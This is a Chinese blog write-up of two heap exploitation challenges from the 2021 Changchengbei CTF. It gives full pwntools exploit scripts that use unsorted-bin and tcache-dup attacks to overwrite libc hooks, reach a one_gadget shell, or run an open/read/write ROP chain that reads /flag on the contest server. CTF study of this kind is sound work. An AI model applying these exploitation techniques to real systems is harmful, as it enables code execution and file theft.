长城杯2021 pwn

长城杯2021


菜鸡第一次在国内比赛做出两道题,害,长城杯比第五空间温柔多了,第五空间一道rop,之后就直接vm,musl都没学过,还有个c++逆向8出来。打完国赛(写了一道简单堆题,orw调一晚上没出来,服了)之后划水时间太长了,8月下旬才开始继续学堆,争取10月底前把vm,musl,mips,arm这种其他架构(不知道算不算)的pwn学习一下。

1.K1ng_in_h3Ap_I

题目给了3个字节libc地址,操作性还是挺强的,借用残留指针可以不用爆破打io_stdout,泄露出完整libc,有libc的话就随便打了。
不过打比赛的时候想着借用残留指针,想到exit_hook里面好像本来就有libc里面的地址,就用unsorted bin attack在前面打一个0x7f,申请过去覆盖exit_hook为one_gadget就好了。
想到用unsorted bin attack,好像思路又宽阔了,unsorted bin attack打出来本来就是libc里面的地址,直接在各种hook里面打出一个0x7f**********,覆盖低地址也可以随便打。
这么想的话啥时候万一不能打io的话,1/256爆破两个字节也可以getshell。
不过通用性不强,还是打io比较好,1/16爆破也容易出。

#!/usr/bin/env python3
# coding=utf-8
from pwn import *

# from z3 import *
arch = "amd64"
filename = "pwn1"

ip = "47.104.175.110"
port =20066
# libc
local_libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
remote_libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

context(os="linux", arch=arch, log_level="debug")
# context.terminal = ['tmux', 'split','-h']
content = 1

offset = 0
# elf
elf = ELF(filename)



def b(addr):
    bk = "b *$rebase" + str(addr)
    gdb.attach(io, bk)
    success("attach")

def add(idx,size):
    io.recvuntil(b">> ")
    io.sendline(b'1')
    io.recvuntil(b"input index:")
    io.sendline(str(idx).encode())
    io.recvuntil(b"input size:")
    io.sendline(str(size).encode())

def edit(idx,payload):
    io.recvuntil(b">> ")
    io.sendline(b'3')
    io.recvuntil(b"input index:")
    io.sendline(str(idx).encode())
    io.recvuntil(b"input context:")
    io.send(payload)

def free(idx):
    io.recvuntil(b">> ")
    io.sendline(b'2')
    io.recvuntil(b"input index:")
    io.sendline(str(idx).encode())

def pwn():
    io.recv()
    io.sendline(b'666')
    io.recvuntil(b'0x')
    addr=int(io.recv(6),16)
    success("addr:"+hex(addr))
    libcbase=addr-libc.symbols['printf']&0xffffff
    # system_addr=libcbase+libc.symbols['system']&0xffffff
    exit_hook=libcbase+0x5f0040+3848
    success("libcbase:"+hex(libcbase))
    success("exit_hook:"+hex(exit_hook))
    add(0,0x10)
    add(1,0x80)
    edit(1,p64(0)*(11)+p64(0x31)+b'\n')
    add(2,0x60)
    add(3,0x60)
    add(4,0x80)
    add(5, 0x70)
    # edit(0,b'a'*0xf0)
    free(1)

    add(6,0x60)
    free(2)
    free(3)
    free(4)

    edit(4,p64(0)+p32(exit_hook-0x30)[:-1]+b'\n')
    add(7,0x80)
    # free(1)
    # edit(0,p64(0)+p64(0x71)+b'\n')
    edit(3,b'\x20\n')
    edit(1,p32(exit_hook-0x23)[:-1]+b'\n')

    add(8,0x60)
    add(9,0x60)
    add(10,0x60)
    ogg=libcbase+onegadget[3]
    edit(10,b'\x00'*(0x13)+p32(ogg)[:-1]+b'\n')
    io.recvuntil(b">> ")
    io.sendline(b'1')
    io.recvuntil(b"input index:")
    io.sendline(str(11).encode())

    # b(0x0000000000000AF2)


if __name__ == '__main__':
    global io
    flag = 1
    while flag >= 1:
        try:
            if content == 0:
                io = process("./" + filename)
                libc = local_libc
                onegadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
            else:
                io = remote(ip, port)
                libc = remote_libc
                onegadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
            pwn()
            io.interactive()
            flag = 0
        except Exception as e:
            print(e)
            io.close()
            flag -= 1
            continue

2.K1ng_in_h3Ap_II

tcache dup+orw
国赛的时候silverwolf就卡在这,终于给我学会了。。。

#!/usr/bin/env python3
# coding=utf-8
from pwn import *

# from z3 import *
arch = "amd64"
filename = "pwn2"

ip = "47.104.175.110"
port =61608
# libc
local_libc = ELF("/home/giantbranch/Desktop/ctfpwn/clibcc/pwn-change-libc-main/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so")
remote_libc = ELF("/home/giantbranch/Desktop/ctfpwn/clibcc/pwn-change-libc-main/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so")

context(os="linux", arch=arch, log_level="debug")
# context.terminal = ['tmux', 'split','-h']
content = 1

offset = 0
# elf
elf = ELF(filename)

def b(addr):
    bk = "b *$rebase" + str(addr)
    gdb.attach(io, bk)
    success("attach")

def add(idx,size):
    io.recvuntil(b">> ")
    io.sendline(b'1')
    io.recvuntil(b"input index:")
    io.sendline(str(idx).encode())
    io.recvuntil(b"input size:")
    io.sendline(str(size).encode())

def free(idx):
    io.recvuntil(b">> ")
    io.sendline(b'2')
    io.recvuntil(b"input index:")
    io.sendline(str(idx).encode())

def edit(idx,payload):
    io.recvuntil(b">> ")
    io.sendline(b'3')
    io.recvuntil(b"input index:")
    io.sendline(str(idx).encode())
    io.recvuntil(b"input context:")
    io.send(payload)

def show(idx):
    io.recvuntil(b">> ")
    io.sendline(b'4')
    io.recvuntil(b"input index:")
    io.sendline(str(idx).encode())

def pwn():

    add(0,0x60)
    show(0)
    io.recvline()
    heapbase=u64(io.recv(6).ljust(8,b'\x00'))-0xb20
    success("heapbase:"+hex(heapbase))
    free(0)
    edit(0,p64(heapbase))
    add(1,0x60)
    # add(2,0x60)   # tcache_struct
    add(3,0x50)
    free(3)
    add(4,0x10)
    edit(3,p64(heapbase+0x860))
    add(5,0x50)
    add(6,0x50)
    edit(6,p64(0)+p64(0x451))
    free(4)
    show(4)
    io.recvline()
    malloc_hook = u64(io.recv(6).ljust(8, b'\x00')) - 96-0x10
    success("malloc_hook:" + hex(malloc_hook))
    libcbase=malloc_hook-libc.symbols['__malloc_hook']
    success("libcbase:" + hex(libcbase))
    setcontext_53=libcbase+libc.symbols['setcontext']+53
    free_hook=libcbase+libc.symbols['__free_hook']
    free(0)
    edit(0,p64(free_hook))
    add(1,0x60)
    add(2,0x60)
    #
    free(0)
    edit(0,p64(heapbase+0x870))
    add(1, 0x60)
    add(1, 0x60)

    ret_addr=libcbase+0x00000000000008aa
    framebase=heapbase+0x870
    flag_addr = framebase + 0x100
    rop_addr=flag_addr+0x10


    payload=b'a'*(0xa0)+p64(rop_addr)+p64(ret_addr)
    edit(1,payload[:0x60])
    free(0)
    edit(0, p64(framebase+0x60))
    add(1, 0x60)
    add(1, 0x60)
    edit(1,payload[0x60:])

    pop_rdi = libcbase + next(libc.search(asm("pop rdi\nret")))
    pop_rsi = libcbase + next(libc.search(asm("pop rsi\nret")))
    pop_rdx = libcbase + next(libc.search(asm("pop rdx\nret")))
    open_addr = libcbase + libc.symbols['open']
    read_addr = libcbase + libc.symbols['read']
    write_addr = libcbase + libc.symbols['write']
    rop_chain = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
    rop_chain += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x50) + p64(read_addr)
    rop_chain += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x50) + p64(write_addr)
    print(len(rop_chain))
    free(0)
    edit(0, p64(flag_addr))
    add(1, 0x60)
    add(1, 0x60)
    payload=b'/flag\x00\x00\x00'+p64(0)+rop_chain
    edit(1,payload[:0x60])
    free(0)
    edit(0, p64(flag_addr+0x60))
    add(1, 0x60)
    add(1, 0x60)
    edit(1, payload[0x60:])
    edit(2, p64(setcontext_53))
    free(4)
    # b(0x0000000000000C66)


if __name__ == '__main__':
    global io
    flag = 1
    while flag >= 1:
        try:
            if content == 0:
                io = process("./" + filename)
                libc = local_libc
                onegadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
            else:
                io = remote(ip, port)
                libc = remote_libc
                onegadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
            pwn()
            io.interactive()
            flag = 0
        except Exception as e:
            print(e)
            io.close()
            flag -= 1
            continue

上一篇:pwn-welpwn


下一篇:jarvisoj_level2_x64